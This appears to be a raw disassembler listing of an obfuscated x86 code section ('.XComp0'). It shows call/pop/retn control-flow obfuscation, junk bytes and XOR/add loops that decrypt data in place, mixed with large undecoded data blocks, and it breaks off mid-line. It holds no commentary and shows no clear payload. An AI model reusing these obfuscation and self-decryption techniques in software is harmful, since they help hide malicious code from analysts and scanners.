[ebp+5F9184Dh] and bh, 70h lea ecx, [ebp+5F94EE8h] jnb loc_5BF4AE js loc_5BF4AE movsx edi, di loc_5BF4AE: ; CODE XREF: .XComp0:005BF49Fj ; .XComp0:005BF4A5j xor bl, 72h jmp ecx ; --------------------------------------------------------------------------- db 0E8h dd 12h, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh db 6, 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_5BF4CB: ; CODE XREF: .XComp0:005BF475j cmp dword ptr [ebp+5F900FDh], 0 jz loc_5BF91F sub [ebp+5F90FA5h], esi sub [ebp+5F90539h], ecx cmp dword ptr [ebp+5F900FDh], 1 jz loc_5BF93A push 0 push edi call sub_5BF4FC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF4FC proc near ; CODE XREF: .XComp0:005BF4F4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5BF4FC endp ; --------------------------------------------------------------------------- dd 0C764F59Ch, 0BD83386Bh, 5F900FDh, 0E5860F03h, 60000003h dd 2DBD8960h, 6105F901h, 0DBD8D89h, 606105F9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D1C35646h, 66F9FC7Eh dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0F4DFA8C3h, 9D0B1DB9h, 5F90499h, 6604E180h dd 0A6D83BFh, 7B840FC9h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E13FC352h dd 7540B26h, 830F77C4h, 6, 12758589h, 858B05F9h, 5F92599h dd 257DB589h, 853305F9h, 5F9042Dh, 0A8E0F90h, 0E9000000h dd 5, 994A9509h, 0BCBB5057h, 90652AB6h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9DC35343h, 3F6F4628h dd 0DE8A3CB3h, 167DB589h, 6A05F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0BDC35242h, 4E8DE8Bh, 0FF000000h dd 50001F03h, 0F525052h, 0DE931h, 0E6870000h, 0D7450D1Eh dd 9649183Ch, 5A1CAEBFh, 60310F58h, 14E96160h, 0BA000000h dd 22B716DFh, 3702FFF2h, 268AFB21h, 9460A5AEh, 61A237BDh dd 8A50585Ah, 24448BFEh, 4FBF6604h, 0F008BC9h, 385h, 0DA8B6600h dd 4244489h, 0EE8h, 0A188E100h, 10E6B1B0h, 5125238Eh, 0FD06364h dd 28Eh, 5FDE8B00h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0C595FFA9h, 6A05F92Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0EBE2C353h, 23DF801Bh, 0A98D89h, 858905F9h dd 5FCFC21h, 7F1BD8Bh, 7BE905F9h, 0F000001h, 858BF8B7h dd 5FCFC19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 6C35747h, 23A0D952h, 0C38166FCh, 0EEB37689h, 1800C7h dd 0B58B0000h, 5FCFC1Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 13C35040h, 9B10998Dh, 8B669B16h, 89858BD8h dd 8905F92Bh, 0F926A1BDh, 9068905h, 0F909AD8Dh, 99858B05h dd 6A05F925h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C8F3C357h, 28DB808Ah, 81044689h dd 0B031D2E7h, 0E860964Ah, 6, 4C0ACEF1h, 6160793Bh, 0E852505Fh dd 14h, 95ADD041h, 1F592D16h, 5A5FACC9h, 287C6E44h, 0A8541EEFh dd 60310F59h, 61585A61h, 6E850h, 91150000h, 290E141Dh dd 14E8h, 89DCD800h, 936441DBh, 9A4050C7h, 3F7A9467h, 0CC6D6014h dd 0E393BB36h, 5B5F58A5h, 0CB816696h, 0DE8CD92h, 37000000h dd 4B3C98E7h, 67209FE3h, 0E45AFFFAh, 119D8B53h, 5B05F927h dd 19B5FF5Bh, 0BB05FCFCh, 66E6D141h, 0C9067E68h, 0F860F91h dd 50000000h, 8E9h, 0C2B46B00h, 0E2FE8A43h, 4815FE9h, 55FD8124h dd 0C1BD8B6Eh, 8D05F92Bh, 0FCFC2185h, 89515105h, 0F9072595h dd 505F5F05h, 89DE8B66h, 8D292404h, 5F91EE9h, 2AC595FFh dd 666105F9h, 4E0EEF81h, 0FD85C7F8h, 305F900h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F63AC351h, 83D7DE8Dh, 0FCFC21BDh, 840F0005h dd 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h dd 4DC35343h, 0E7BB662Fh, 41E947h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 198EA6C3h dd 0BD8B57A1h, 5F91365h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h db 0E7h, 0EBh, 36h ; --------------------------------------------------------------------------- loc_5BF91F: ; CODE XREF: .XComp0:005BF4D2j ; .XComp0:005BF936j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5BF91F jmp short loc_5BF955 ; --------------------------------------------------------------------------- loc_5BF93A: ; CODE XREF: .XComp0:005BF4EBj ; .XComp0:005BF951j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5BF93A jmp short $+2 loc_5BF955: ; CODE XREF: .XComp0:005BF938j mov eax, eax push 0 push edx call sub_5BF962 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF962 proc near ; CODE XREF: .XComp0:005BF95Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BF962 endp ; --------------------------------------------------------------------------- dw 8587h dd 35964F62h, 0BDE8C06Ch, 8E8h, 0E0F73500h, 65554AF9h dd 0E95BF83Ch, 0Fh, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h, 8318E7B7h dd 0F900FDBDh, 850F0305h, 45Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0DDC35343h, 537C27C1h, 60560906h dd 8B76C480h, 665F61F2h, 0C476D381h, 0FC21BD83h, 0F0005FCh dd 42084h, 89BD8B00h, 8B05F91Eh, 0F91059BDh, 21B5FF05h dd 905FCFCh, 0F931E185h, 0AD95FF05h, 6A05F91Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1710C350h, 0AF51FEEBh, 0B58BFAA8h, 5FCFC15h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E0C35242h, 84A1144Eh dd 0E873B2C6h, 6C7DF8Bh, 10001h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 79C35040h, 10BD9D31h, 0F9605F9h dd 382h, 0DE8B6600h, 6A9650h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0A9D94C3h, 196CFCF9h dd 0B5FF9AE7h, 5FCFC21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0CDC35747h, 0CA6D7E2Dh, 0FFF9B70Fh, 0F9272995h dd 75958905h, 8B05F91Eh, 0FCFC15B5h, 0DE905h, 81470000h dd 19DF63C1h, 0A5D95120h, 8B3F8D91h, 0F9180985h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BF8A6EEh, 0F92E81BDh, 0C4868905h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 962DC353h, 90704B3Bh, 0BF66A01Bh, 958BC44Ah, 5F90CDDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h dd 9A50A1A8h, 1B635D57h, 4C28335h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 18C35545h, 8815BE0Ch, 55958995h dd 8905F90Bh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 42E470C3h, 0CCA2D8C5h, 8DCA611Dh dd 0FD10E985h, 6E805h, 0BC850000h, 0D0E5C691h, 20BDBD8Bh dd 895F05F9h, 0B886h, 0D7816600h, 6AFC3CE4h, 0F3816600h dd 0B5FF1802h, 5FCFC21h, 0E8D8B70Fh, 12h, 8B586D34h, 0B85D627h dd 0A449C6EDh, 0AAE07272h, 0BF662541h, 0FF5B3183h, 0F9009995h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0DE8965Eh, 0F6000000h, 94FC4103h, 0ACD916F9h dd 54BEECFh, 10E8h, 8967C500h, 725DB46Ch, 0C36345D1h, 7776A2AAh dd 5F5F501Ah, 9E9505Fh, 46000000h, 6AB7EE43h, 0F64F42D6h dd 58F0F96h, 0BB000000h, 28ACAA08h, 0FC21B5FFh, 0DB8005FCh dd 47BF66F5h, 6995FF5Dh, 6A05F935h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 5DF3C352h dd 4756CB81h, 0BD8365A8h, 5F917F5h, 1F840F00h, 0E9000000h dd 11h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h, 965096F0h dd 12F9BD89h, 0B5FF05F9h, 5FCFC21h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 56C35242h, 92EF8166h, 6D95FF4Bh dd 6A05F92Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0F797C355h, 776A2ED2h, 4DFD8B5Eh dd 2025BD8Bh, 0B5FF05F9h, 5FCFC21h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 51C35242h, 0FC7718AAh, 8BF9C9F2h dd 0F92495BDh, 8B666005h, 95FF61D6h, 5F921DDh, 8E9h, 0ED030200h dd 6F9639EEh, 2DBD838Fh, 205F90Ah, 47840Fh, 0F600000h dd 683h, 0F9BD8900h, 0F05F924h, 8B61F2B7h, 0F9115185h dd 0D9B58905h, 0C605F905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 8C3345C3h dd 898FFF95h, 0F924A995h, 1985C705h, 5F933h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 6E29C350h, 24D470CFh, 0F45FE9ECh, 0D781FFFFh dd 5FE92CB8h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 927A49C3h, 0CC05380Ch, 50BB3FCEh dd 8D2602B0h, 0F90DC185h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0EC11C499h dd 0E99093AEh, 5, 70A4975Ch, 0CDB75053h, 0AD858990h, 6A05F908h dd 0A1BD8B00h, 6A05F91Ah, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 66D1D577h dd 0F7C10DC2h, 0FE9h, 33E5FB00h, 0D6B5BE2Ch, 89588B3Bh dd 0F544374Fh, 4A46858Dh, 810F05FEh, 5, 0D7F68EBBh, 0C985312Ch dd 8305F917h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 397114C3h, 0BF0FB847h, 5830FFEh dd 66000000h, 0CBF2DB81h, 641ABF90h, 90504941h, 3810Fh dd 0BF0F0000h, 8A006AFBh, 6A006ADCh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0D2AEC353h dd 9D8B0ABFh, 5F90761h, 2AFD8589h, 95FF05F9h, 5F913EDh dd 0FE9h, 93FF0900h, 93381AF0h, 0FA2E225Bh, 8984A2E0h dd 0E9838D8Dh, 0D78105FCh, 20847E02h, 9589D1FFh, 5F918D9h dd 1785BD83h, 0F0105F9h, 0B285h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 19569035h dd 6ADE2359h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0BF270C4Fh, 0C4F1E4Ah, 66535390h dd 5FE52BBFh, 5250505Fh, 310FF88Bh, 5BFE8B57h, 6A90585Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 1162C352h, 46F18902h, 0E781AE96h, 3401E72Fh dd 9995FFh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h dword_5C0024 dd 56460000h, 935B82C3h, 799D8B6Ch, 0E905F90Ch, 0E0Eh ; DATA XREF: .XComp0:0044A20Co dd 0E8h, 0ED815D00h, 5FE4A50h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0FDC35040h, 0DA8B66F7h, 21D9BD89h dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0B1042CC3h, 0AF4F7192h, 66F05386h, 8B66FA8Bh dd 7C858DDAh, 8905FCD9h, 0F90465BDh, 3EBF9005h, 506397C4h dd 3D0830BFh, 0BD89904Eh, 5F9040Dh, 35FF64h, 81000000h dd 1DDECAC7h, 25896441h, 0 ; --------------------------------------------------------------------------- mov [ebp+5F9081Dh], ebx inc dword ptr [ebp+5F9197Dh] pusha mov [ebp+5F92E8Dh], esi mov edx, [ebp+5F92551h] popa push 0FFFFFFFFh push dword ptr [ebp+5F913ADh] push 0 push edi call sub_5C00F5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00F5 proc near ; CODE XREF: .XComp0:005C00EDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5C00F5 endp ; --------------------------------------------------------------------------- db 0EFh, 65h, 0CEh dd 0EA90F9F6h, 53C9C848h, 0FF5FFB8Bh, 0F9091195h, 0E6E905h dd 0D7810000h, 5B46FDFBh, 665700B0h, 0E65BFB8Bh, 0E6BB6670h dd 8171E402h, 18025DFh, 0F613C70h, 0C383h, 0EE900h, 0D7B50000h dd 0BDA4822Ch, 8C981707h, 65169DC8h, 0FC8B60Fh, 681h, 0A59D0300h dd 0BA05F900h, 6, 2EF9BD29h, 0C18B05F9h, 4E8C1F8h, 27C59D89h dd 0F76605F9h, 598529E2h, 2B05F925h, 0F7EF81C8h, 8B057A96h dd 85BD89D1h, 0E905F914h, 6Ch, 4C44858Bh, 8D315F4Ch, 5F92E15h dd 0E907C083h, 13h, 70AA7903h, 0FA40F039h, 753DA402h, 355184AAh dd 8317834Dh, 0CB8100C0h, 146716A6h, 830FD03Bh, 8, 2FE9h dd 61F86000h, 0FFFF8D8Bh, 0BD8BFFFFh, 5F90C59h, 0F01E183h dd 1784h, 0F8B70F00h, 0FFFFA583h, 0F8FEFFFFh, 4C449589h dd 0E9F55F4Ch, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+5FDC190h] push 0 push edi call sub_5C0215 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0215 proc near ; CODE XREF: .XComp0:005C020Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5C0215 endp ; --------------------------------------------------------------------------- db 0EFh, 0C9h, 66h dd 296C8CBFh, 0F918E585h, 0F006A05h, 88Bh, 28A0F00h, 60000000h dd 0ED95FF61h, 6A05F91Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 306FC355h, 566BF5ADh dd 100FB9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8BFB0571h, 0F907B99Dh, 0FCE18305h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4FC35747h dd 8B05B7F3h, 0F915299Dh, 9E9FC05h, 0D7000000h, 0B88E57E5h dd 5671DB19h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BB66F0FBh, 850F0F59h dd 6, 2D9DBD89h, 0D22B05F9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 39C35545h, 35EDA838h, 0BE8h dd 88906700h, 0E6D6D686h, 0E0E596FFh, 1E018589h, 8B5B05F9h dd 0C233ADD9h, 0D003E8D1h, 7504E983h, 0C9C781F4h, 6A4E8809h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 728DC350h, 9469FAA1h, 48F0F34h, 51000000h dd 0D5FD98Bh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0C6C35343h, 0DDBD8961h, 8B05F932h, 0F90CDD95h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0FF9BD78Ah, 94C7475h, 0F90B3DBDh, 0C18D8B05h dd 6A05F926h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 78BFC357h, 0C28B50D9h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 8, 0B6CA6AC3h, 780D2376h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h dd 0E90B5F23h, 6, 858510C3h, 0E38131F8h, 7AD33DE0h, 1159BD83h dd 0F0005F9h, 9B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0FB13A6ABh, 0DAE3D8ECh dd 7E8FFh, 0DA640000h, 480086CAh, 0BE8FEh, 0A1D10000h dd 6711C11Fh, 0B04781D5h, 0A59D03E7h, 5B05F910h, 0B85Bh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0BE6F1FC3h, 0E9D75696h, 0Ah, 647F5B2Eh, 0E3A4E8C1h dd 8B6657C6h, 0E88D8DDEh, 8905F94Eh, 0F913DD95h, 60E1FF05h dd 7FB789BAh, 51958B33h, 6105F912h, 0FDBD83h, 0F0005F9h dd 45984h, 43CF8100h, 83233197h, 0F900FDBDh, 840F0105h dd 461h, 0BD83F88Bh, 5F900FDh, 1C860F03h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 11DCC351h, 9B055134h, 66E289F5h, 8B60F88Bh, 0D98C66F9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 1AC35242h dd 359D8BE9h, 8B05F901h, 0F90CF1BDh, 0F98B6605h, 8904E180h dd 0F927D195h, 0FC90A05h, 11484h, 8B526000h, 0F9193985h dd 8D8B5805h, 5F921D5h, 99858B61h, 6605F925h, 6688CCBBh dd 33EB21BBh, 0F9042D85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 50CFC069h dd 860F52h, 5B000000h, 0E8240489h, 8, 0E9900E1Dh, 9C2668DCh dd 5840Fh, 81660000h, 5B6E9FE3h, 4E8006Ah, 0FF000000h dd 0BF001F03h, 5905354Fh, 830F6050h, 3, 61FE8B66h, 424448Bh dd 88A0Fh, 820F0000h, 2, 8BD98Ah, 1B8D0Fh, 0E9500000h dd 14h, 47EA49F4h, 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0CB5DAFACh dd 2444895Fh, 0FB8B6604h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0FF35BB89h dd 0E8EA9E6Fh, 0Ah, 0F9DC28A3h, 7CCFAA8Eh, 0FF5FFEBBh dd 0F92AC595h, 0DB816605h, 858942E0h, 5FCFC21h, 2B4D9D89h dd 13E905F9h, 89000002h, 0F926D185h, 19858B05h, 0F05FCFCh dd 1E8Ch, 18870F00h, 0E8000000h, 12h, 0AFA788Ah, 0C12E0BF0h dd 8E9AA192h, 0CE921CC5h, 0C75F9E25h, 1800h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 48FE304Ah, 6613C71Ch, 0B589D88Bh, 5F924B5h, 12DBD8Bh dd 0B58B05F9h, 5FCFC1Dh, 5E9h, 0DECE9D00h, 858B4FD2h, 5F92B89h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0AC35040h dd 8F75F034h, 8531FBF8h, 5F9063Dh, 689B4B3h, 13A59589h dd 858B05F9h, 5F92599h, 8BFEB70Fh, 0F915A5BDh, 4468905h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h dd 0AEB0B8BFh, 0B035824Fh, 8D09D88Bh, 5F91855h, 0F1C5CF81h dd 605071A1h, 0AE9h, 9801EE00h, 39F45F46h, 6108446Ch, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 878C357h, 0CA9019AFh, 0B7FB08C4h, 9DBD8B69h dd 0FF05F91Fh, 0FCFC19B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 854C9C5Eh dd 812E9899h, 7BCDCED7h, 0C09F6847h, 800FEC22h, 3, 81DA8B66h dd 43602404h, 0B58913FCh, 5F90FC1h, 0FC21858Dh, 6A05FCh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0ED26EBC3h, 23BAC3F3h, 0F912B19Dh, 199D8905h, 5005F912h dd 4E943EBFh, 24048917h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0F7C35646h, 0C98D018Ch, 0FF05F924h, 0F92AC595h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 1138083Bh, 0A1351DF8h, 840F485Bh, 4, 3244BB66h dd 6A6138B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0E9DAC355h, 2CDADE46h, 8EB751F7h dd 0FD85C7h, 305F9h, 0BD8B0000h, 5F93439h, 0FC21BD83h dd 0F0005FCh, 4E84h, 11E900h, 6FBD0000h, 0F33985ACh, 0BB47026Fh dd 4F8C2D1Bh, 0E9C96090h, 4Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 23C35242h, 512F247h, 7E8h dd 8DFA4D00h, 6D2DE29Ah, 1358D89h, 505B05F9h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 81FF87C3h, 5CDC1D49h, 0CE923h, 4EBE0000h, 0C8321B8Ah dd 6F5B7E73h, 0FD8A613Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0E0C35747h, 0FBEEFFAEh, 0BD83F279h, 5F900FDh dd 2A850F03h, 6A000004h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4D6AC350h, 0C5BD8BF2h dd 8305F900h, 0FCFC21BDh, 840F0005h, 3F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 3FC35747h, 21B5FFFCh, 8005FCFCh, 95FFDEDBh dd 5F91AADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 4EC35545h, 0C05924EFh, 15B58BDFh, 8105FCFCh, 14F2DBEBh dd 14E93Eh, 4BF80000h, 2495CB1Fh, 95DA318Fh, 36B301Dh dd 8A086D24h, 6C7FAB5h, 10001h, 967BD780h, 0E2B4BB66h dd 96F88B50h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 23C35242h, 760D89D6h, 53D303E8h, 7499589h, 0FF5F05F9h dd 0FCFC21B5h, 13E805h, 766E0000h, 28FC558Bh, 0DA03216Fh dd 82E7919Fh, 0F03831DDh, 0DDB58949h, 5B05F907h, 272995FFh dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0AF87A7C3h, 15B58B8Eh, 6A05FCFCh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0EDB4C353h, 0E97C8A89h, 9, 0C6A41DE1h, 0DDCB47D2h, 9858B00h dd 6A05F918h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0CFD8C355h, 8962BFBAh, 0F903CD85h dd 55BD8905h, 8905F910h, 0C486h, 3DBD3100h, 8B05F915h dd 0F90CDD95h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 927B27D6h, 0C283DF8Bh dd 0ADB58904h, 8905F927h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 1A31CFC3h, 5B76BE4Fh dd 0FC2FCE7h, 840FFFBFh, 0 dd 10E9858Dh, 0BB6605FDh, 868982E0h, 0B8h, 2425BD0Bh, 6A05F9h dd 14E8h, 209B4A00h, 795B2043h, 0C6084992h, 11CE06FEh dd 1ED07C36h, 0CF8166F7h, 0FF5F6800h, 0FCFC21B5h, 9995FF05h dd 6A05F900h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 2BF8C353h, 0C0B794E2h, 9589788Dh dd 5F93315h, 0BE850h, 0B03F0000h, 0A3AC0D8Fh, 5B7F58F1h dd 0FE87Eh, 0E7220000h, 37E6B9Dh, 12A73089h, 0F734DFE8h dd 8C0FC9h, 5B000000h, 2434895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 7CC35141h, 2DF78169h, 0FF4C9A1Eh dd 0FCFC21B5h, 8E805h, 4AEB0000h, 0D4FD301Fh, 0BE96FD3h dd 2B000000h, 0D50C45A0h, 4D9E8818h, 0E85FC15Eh, 9, 4A4AB5Ch dd 26640E69h, 0A9DF81D0h, 5F36AE9Fh, 356995FFh, 0BD2305F9h dd 5F920B5h, 17F5BD83h, 0F0005F9h, 5984h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 283B3DBAh, 0BE9h, 0F8051C00h, 6E0BEB1h, 254FC7C8h, 17890F96h dd 0E9000000h, 12h, 5FB824F0h, 0F0C331B6h, 8988D96Ah, 82CE791Fh dd 9650AAFEh, 0ECBABF66h, 1EB59D8Bh, 0B5FF05F9h, 5FCFC21h dd 5890Fh, 69BF0000h, 0FF4FB02Bh, 0F92E6D95h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0F2573961h, 0CE882h, 6EDC0000h, 0A35999A4h, 4CBEE58Ch dd 0BD89698Fh, 5F919F1h, 21B5FF5Fh, 8105FCFCh, 403CCFC7h dd 558D895Bh, 0FF05F934h, 0F921DD95h, 0A9FBBF05h, 0BD832032h dd 5F90A2Dh, 3A840F02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C0CDC350h dd 6800Fh, 0D3810000h, 58CFC267h, 1151858Bh, 9D8B05F9h dd 5F9297Dh, 0B70000C6h, 1985C79Dh, 5F933h, 8B000000h dd 0F933BDBDh, 0F2CCE905h, 9589FFFFh, 5F900EDh, 6AC18Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8B23C3h, 5F93251h, 0F1DDF381h, 858D6D84h, 5F90DC1h dd 12E860h, 4FE00000h, 97F1E8A4h, 53730BE3h, 0C9050FCFh dd 0FA37854Ah, 1E8D8529h, 0E95905F9h, 0Ch, 1BEA1530h, 0DA0BDC52h dd 35DB9D57h, 8B665061h, 240489FEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 47C35040h, 6C3EF27Bh, 317DBD8Bh dd 895605F9h, 0F90CF98Dh, 6A5F05h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0D9C35141h, 339C7326h, 4B4529B5h dd 2DB9B589h, 6A05F9h, 0B459D89h, 858D05F9h, 5FE5A92h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 39C35040h dd 5DBF9B97h, 0E956ED9Bh, 9, 0B8553F41h, 0DE495006h, 0E19509FBh dd 8305F915h, 850F05C0h, 5, 79CF8166h, 12E950F8h, 66000000h dd 9D7D0D46h, 0E77FD4B9h, 30B393D0h, 3798C8A1h, 24048997h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C1C35141h dd 157E25EEh, 66608CC8h, 0B866D38Bh, 6A615ABDh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD2B5089h, 5F91645h, 8509006Ah, 5F9153Dh, 13ED95FFh dd 0B70F05F9h, 838D8DFBh, 3305FCE9h, 0F9180D9Dh, 56D1FF05h dd 0DDF8CB81h, 